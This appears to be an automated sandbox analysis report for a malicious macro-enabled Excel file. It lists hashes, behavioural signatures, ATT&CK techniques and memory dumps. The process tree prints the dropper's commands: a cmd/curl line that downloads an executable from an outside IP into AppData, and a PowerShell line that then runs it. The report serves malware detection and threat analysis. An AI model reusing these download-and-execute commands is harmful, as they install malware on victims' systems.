6f5fdf14d35bfe303b9f1b4f3698df919755cb0f76c841f5a9a852939f9c9962

General

Target

350763-394867-221021.xlsm
Size

140KB
MD5

d4fe00d6e9975dd31e96b9d786503069
SHA1

28b875f8547a4bcb0bdc539d784769e7ab8815e8
SHA256

6f5fdf14d35bfe303b9f1b4f3698df919755cb0f76c841f5a9a852939f9c9962
SHA512

4304bd670022078646a4d91d2ceb252eb21be5f2121bdf4e3dbe2719694ae1a4828b6881e387f2d3585b130cf11c5b2502fbcc8c56e037e7de141c97fce57e33

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3964	3944	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2824	3944	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3944 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3964 powershell.exe
3964 powershell.exe
3964 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3964 powershell.exe

pid	process
3964	powershell.exe
3964	powershell.exe
3964	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3964	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE
3944	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3944 wrote to memory of 3964	3944	EXCEL.EXE	powershell.exe
PID 3944 wrote to memory of 3964	3944	EXCEL.EXE	powershell.exe
PID 3944 wrote to memory of 2824	3944	EXCEL.EXE	cmd.exe
PID 3944 wrote to memory of 2824	3944	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\350763-394867-221021.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\DzXbP.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3964

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\DzXbP.exe
2⤵
- Process spawned unexpected child process
PID:2824

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2824-259-0x0000000000000000-mapping.dmp

Download
memory/3944-117-0x00007FFDA2790000-0x00007FFDA27A0000-memory.dmp

Filesize
64KB

Download
memory/3944-115-0x00007FFDA2790000-0x00007FFDA27A0000-memory.dmp

Filesize
64KB

Download
memory/3944-114-0x00007FF793FB0000-0x00007FF797566000-memory.dmp

Filesize
53.7MB

Download
memory/3944-118-0x00007FFDA2790000-0x00007FFDA27A0000-memory.dmp

Filesize
64KB

Download
memory/3944-122-0x00007FFDA2790000-0x00007FFDA27A0000-memory.dmp

Filesize
64KB

Download
memory/3944-121-0x00007FFDC3030000-0x00007FFDC411E000-memory.dmp

Filesize
16.9MB

Download
memory/3944-123-0x00007FFDC0FC0000-0x00007FFDC2EB5000-memory.dmp

Filesize
31.0MB

Download
memory/3944-116-0x00007FFDA2790000-0x00007FFDA27A0000-memory.dmp

Filesize
64KB

Download
memory/3964-258-0x0000000000000000-mapping.dmp

Download
memory/3964-267-0x0000020CC10E0000-0x0000020CC10E1000-memory.dmp

Filesize
4KB

Download
memory/3964-270-0x0000020CC1520000-0x0000020CC1521000-memory.dmp

Filesize
4KB

Download
memory/3964-278-0x0000020CC1130000-0x0000020CC1132000-memory.dmp

Filesize
8KB

Download
memory/3964-279-0x0000020CC1133000-0x0000020CC1135000-memory.dmp

Filesize
8KB

Download
memory/3964-288-0x0000020CC1136000-0x0000020CC1138000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads